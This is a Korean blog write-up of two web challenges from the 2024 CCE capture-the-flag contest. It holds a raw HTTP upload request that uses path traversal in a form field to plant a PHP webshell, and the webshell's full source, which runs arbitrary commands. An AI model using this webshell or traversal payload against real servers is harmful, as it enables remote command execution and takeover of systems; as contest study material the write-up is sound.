Luv{Flag}
article thumbnail
Published 2024. 9. 29. 21:30
[2024 CCE] Write Up Hacking/CTF
반응형

 
공공부분으로 진출하였긴 하지만 첫 본선 진출했던 cce.
짧은 후기와 예선과 본선에서 본인이 풀었던 웹 문제 2개를 정리해 보려 한다.
 
 

 
티오리 한번 잡아보자며 호기롭게 지었던 팀이름이였지만 부족한 실력만 깨닫게 되는 시간이였다.
물론 아무도 티오리를 이길수 있을거란 생각을 하진 않았지만,  팀원 모두 첫 본선 진출이니 만큼 많은 기대와 꼴등은 피하자는 생각으로 대회에 임했던것 같다.
 
공공부분 예선20위, 본선 14위로 아쉬운 성적표였지만, 너무 좋은경험이였고 앞으로 있을 CTF나 대회에서 본선진출만큼은 꼭 계속해내고 싶다는 간절한 생각이 들게 된 좋은 자극제였다.
 
본인은 예선에서 웹 1문제, 본선에서 웹 1문제를 풀었는데, 다행이도 제일 쉬운 문제가 웹문제로 나와서 한문제라도 풀고 집에갈 수 있게 되어 얼마나 다행이였는지 모른다.
 
 


1. [예선] OSJarvis

해당 문제는 CVE-2023-50164 취약점을 이용한 것으로, ApacheStruts2에서의 취약점을 이용한다. 웹페이지에 웹쉘을 업로드, rce 취약점을 이용하여 flag를 획득한다.
 

취약점 조건에 맞는 버전

 
 

 
위 페이지에서 파일을 업로드 할 수 있고, proxy 툴을 사용하여 취약점을 이용, 웹쉘을 업로드 해줘야 한다.
upload 폴더에서 나와 webapp 폴더에 웹쉘을 저장하는 것이 목표이므로 다음과 같이 작성해 준다.
 

 
위와 같이 작성해주면  /webshell 경로로 접근할 시에 웹쉘 접근에 성공할 것이다.
 
 

 
REF
https://mokpo.tistory.com/804
https://www.igloo.co.kr/security-information/apache-struts2-%EC%9B%90%EA%B2%A9%EC%BD%94%EB%93%9C%EC%8B%A4%ED%96%89-%EC%B7%A8%EC%95%BD%EC%A0%90-cve-2017-9791-%EB%B6%84%EC%84%9D/.
 
 


 
 

2. [본선] 04-정보자원관리원

 
 
 
zip 파일 외에 업로드를 허용하지 않는 것처럼 보이지만, 업로드 후 die() 함수를 실행시키므로 업로드시 파일 확장자 제한은 없는셈이다.
이를 이용해 웹쉘을 업로드 하고 실행시킬수 있다면 랜덤값이 붙은 플래그 실행 파일역시 실행에 문제가 없을 것이다.
하지만 위 사진에서 die() 로 인해 random_name 변수값을 확인하지 못하는 문제가 있는데, 이는 다음과 같이 해결한다.
 
 

 
Options Indexes 설정으로 인해 디렉토리 인덱싱이 가능해졌으므로, 임의의 디렉토리를 생성후, 그곳에 웹쉘을 업로드하여 $random_name의 값을 몰라도 웹쉘 실행이 가능하다.
 
 
 
 
 

 
위 사진처럼 /api/register.php에서 uid 의 값을 경로조작하여 /var/www/html 아래 test123123 이라는 디렉토리를 생성할 수 있고, 이곳에 접속할 시 디렉토리 인덱싱이 가능하다.
이제 웹쉘파일을 해당 디렉토리안에 업로드 할 수 있다면, 공격이 성공 할 것이다.
 
 

POST /api/report_check.php HTTP/1.1
Host: 52.231.230.112:8090
Content-Length: 730
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://52.231.230.112:8090
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryy9VgoIhFOoRshA8K
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://52.231.230.112:8090/report
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=295f33f0145827c1b9c7b2738f631b7a
Connection: close
 
------WebKitFormBoundaryy9VgoIhFOoRshA8K
Content-Disposition: form-data; name="name"
 
../../var/www/html/test123123/
------WebKitFormBoundaryy9VgoIhFOoRshA8K
Content-Disposition: form-data; name="content"
 
asdf
------WebKitFormBoundaryy9VgoIhFOoRshA8K
Content-Disposition: form-data; name="evidence"; filename="test.php"
Content-Type: text/plain
 
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>
</pre>

 
/api/report_check.php 경로로 웹쉘 파일을 업로드하는 패킷.
name 값을 ../../var/www/html/test123123/ 로 경로조작하여 업로드한다.
 
 
 

 
 
웹쉘 파일이 정상적으로 업로드 되었다.
 
 
 

 
 
readflag-4TzpM7pw 실행파일을 확인 할 수 있다.
 
 
 

반응형

'Hacking > CTF' 카테고리의 다른 글

[2024] WolvCTF write-up  (0) 2024.03.17
[HSPACE-CTF] SSWAF (bypass WAF)  (0) 2022.12.17

검색 태그